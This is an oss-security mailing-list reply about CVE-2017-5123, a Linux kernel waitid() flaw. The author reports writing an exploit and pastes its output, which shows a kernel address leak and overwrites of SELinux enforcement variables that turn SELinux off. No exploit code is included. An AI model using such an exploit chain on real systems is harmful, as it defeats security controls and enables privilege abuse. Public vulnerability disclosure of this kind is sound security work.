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Message-ID: <20171025124241.12925hypflmm08sg@webmail.alunos.dcc.fc.up.pt>
Date: Wed, 25 Oct 2017 12:42:41 +0200
From: up201407890@...nos.dcc.fc.up.pt
To: oss-security@...ts.openwall.com
Subject: Re: CVE-2017-5123 Linux kernel v4.13 waitid() not calling
access_ok()
Hello,
I've written a quick exploit for that vulnerability.
Instead of using it for malicious purposes, I use it to actually
increase my systems security.
$ id
uid=1000
$ ./a.out
[+] Leak size=144 bytes
[+] Got kernel base: 0xffffffffb5200000
[+] Got selinux_enforcing: 0xffffffffb611cc90
[+] Got selinux_enabled: 0xffffffffb5eb1350
[+] Overwriting selinux_enforcing...
[+] Overwriting selinux_enabled...
[+] SELinux disabled!
Enjoy,
Federico Bento.
PS: It's just a joke :)
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